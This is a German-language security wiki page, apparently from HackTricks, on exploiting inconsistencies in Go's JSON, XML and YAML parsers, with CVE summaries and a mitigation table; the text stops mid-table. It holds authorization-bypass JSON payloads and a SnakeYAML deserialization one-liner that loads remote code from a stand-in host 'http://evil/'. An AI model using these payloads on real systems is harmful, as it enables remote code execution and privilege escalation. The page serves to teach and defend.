# JSON, XML & Yaml Hacking & Issues {{#include ../banners/hacktricks-training.md}} ## Go JSON Decoder Die folgenden Probleme wurden im Go JSON festgestellt, obwohl sie auch in anderen Sprachen vorhanden sein könnten. Diese Probleme wurden in [**diesem Blogbeitrag**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/) veröffentlicht. Go’s JSON-, XML- und YAML-Parser haben eine lange Liste von Inkonsistenzen und unsicheren Standardeinstellungen, die ausgenutzt werden können, um **Authentifizierung zu umgehen**, **Berechtigungen zu eskalieren** oder **sensible Daten zu exfiltrieren**. ### (Un)Marshaling Unerwarteter Daten Das Ziel ist es, Strukturen auszunutzen, die es einem Angreifer ermöglichen, sensible Felder zu lesen/schreiben (z. B. `IsAdmin`, `Password`). - Beispielstruktur: ```go type User struct { Username string `json:"username,omitempty"` Password string `json:"password,omitempty"` IsAdmin bool `json:"-"` } ``` - Häufige Schwachstellen 1. **Fehlendes Tag** (kein Tag = Feld wird standardmäßig weiterhin geparst): ```go type User struct { Username string } ``` Nutzlast: ```json {"Username": "admin"} ``` 2. **Falsche Verwendung von `-`**: ```go type User struct { IsAdmin bool `json:"-,omitempty"` // ❌ wrong } ``` Nutzlast: ```json {"-": true} ``` ✔️ Richtige Methode, um ein Feld vom (De)Serialisieren abzuhalten: ```go type User struct { IsAdmin bool `json:"-"` } ``` ### Parser-Differenzen Das Ziel ist es, die Autorisierung zu umgehen, indem man ausnutzt, wie verschiedene Parser dasselbe Payload unterschiedlich interpretieren, wie zum Beispiel: - CVE-2017-12635: Apache CouchDB Umgehung über doppelte Schlüssel - 2022: Zoom 0-Klick RCE über XML-Parser-Inkonsistenz - GitLab 2025 SAML-Umgehung über XML-Eigenheiten **1. Doppelte Felder:** Go's `encoding/json` nimmt das **letzte** Feld. ```go json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req) fmt.Println(req.Action) // AdminAction ``` Andere Parser (z. B. Javas Jackson) können die **erste** nehmen. **2. Groß-/Kleinschreibung:** Go ist nicht case-sensitiv: ```go json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req) // matches `Action` field ``` Sogar Unicode-Tricks funktionieren: ```go json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req) ``` **3. Cross-Service-Mismatch:** Stellen Sie sich vor: - Proxy, geschrieben in Go - AuthZ-Dienst, geschrieben in Python Angreifer sendet: ```json { "action": "UserAction", "AcTiOn": "AdminAction" } ``` - Python sieht `UserAction`, erlaubt es - Go sieht `AdminAction`, führt es aus ### Datenformatverwirrung (Polyglots) Das Ziel ist es, Systeme auszunutzen, die Formate (JSON/XML/YAML) mischen oder bei Parserfehlern offen bleiben, wie z.B.: - **CVE-2020-16250**: HashiCorp Vault analysierte JSON mit einem XML-Parser, nachdem STS JSON anstelle von XML zurückgegeben hatte. Angreifer kontrolliert: - Den `Accept: application/json` Header - Teilweise Kontrolle des JSON-Körpers Der XML-Parser von Go analysierte es **trotzdem** und vertraute der injizierten Identität. - Ausgeklügelte Payload: ```json { "action": "Action_1", "AcTiOn": "Action_2", "ignored": "Action_3" } ``` - **Go JSON** Parser: `Action_2` (nicht groß-/kleinschreibungsempfindlich + letzter gewinnt) - **YAML** Parser: `Action_1` (groß-/kleinschreibungsempfindlich) - **XML** Parser: parst `"Action_3"` innerhalb des Strings --- ## Bemerkenswerte Parser-Sicherheitsanfälligkeiten (2023-2025) > Die folgenden öffentlich ausnutzbaren Probleme zeigen, dass unsicheres Parsen ein Problem in mehreren Sprachen ist – nicht nur ein Go-Problem. ### SnakeYAML Deserialisierung RCE (CVE-2022-1471) * Betroffen: `org.yaml:snakeyaml` < **2.0** (verwendet von Spring-Boot, Jenkins usw.). * Grundursache: `new Constructor()` deserialisiert **willkürliche Java-Klassen**, was Gadget-Ketten ermöglicht, die in der Ausführung von Remote-Code enden. * One-Liner PoC (öffnet den Rechner auf dem anfälligen Host): ```yaml !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ] ``` * Fix / Minderung: 1. **Upgrade auf ≥2.0** (verwendet standardmäßig `SafeLoader`). 2. Bei älteren Versionen explizit `new Yaml(new SafeConstructor())` verwenden. ### libyaml Double-Free (CVE-2024-35325) * Betroffen: `libyaml` ≤0.2.5 (C-Bibliothek, die von vielen Sprachbindungen genutzt wird). * Problem: Das zweimalige Aufrufen von `yaml_event_delete()` führt zu einem Double-Free, den Angreifer in DoS oder in einigen Szenarien in Heap-Ausnutzung umwandeln können. * Status: Vom Upstream als „API-Missbrauch“ abgelehnt, aber Linux-Distributionen haben das gepatchte **0.2.6** ausgeliefert, das den Zeiger defensiv null-freigibt. ### RapidJSON Integer (Unter|Über)-lauf (CVE-2024-38517 / CVE-2024-39684) * Betroffen: Tencent **RapidJSON** vor dem Commit `8269bc2` (<1.1.0-patch-22). * Fehler: In `GenericReader::ParseNumber()` lässt nicht überprüfte Arithmetik Angreifern zu, riesige numerische Literale zu erstellen, die sich umwickeln und den Heap beschädigen — was letztendlich eine Privilegieneskalation ermöglicht, wenn der resultierende Objektgraph für Autorisierungsentscheidungen verwendet wird. --- ### 🔐 Minderung (Aktualisiert) | Risiko | Fix / Empfehlung | |--------------------------------------|---------------------------------------------------------| | Unbekannte Felder (JSON) | `decoder.DisallowUnknownFields()` | | Duplizierte Felder (JSON) | ❌ Kein Fix in der stdlib — validieren mit [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) | | Groß-/Kleinschreibung-unabhängige Übereinstimmung (Go) | ❌ Kein Fix — validieren Sie Struktur-Tags + vor-kanonicalisieren Sie Eingaben | | XML-Garbagedaten / XXE | Verwenden Sie einen gehärteten Parser (`encoding/xml` + `DisallowDTD`) | | YAML unbekannte Schlüssel | `yaml.KnownFields(true)` | | **Unsichere YAML-Desserialisierung** | Verwenden Sie SafeConstructor / Upgrade auf SnakeYAML ≥2.0 | | libyaml ≤0.2.5 Double-Free | Upgrade auf **0.2.6** oder distro-gepatchte Version | | RapidJSON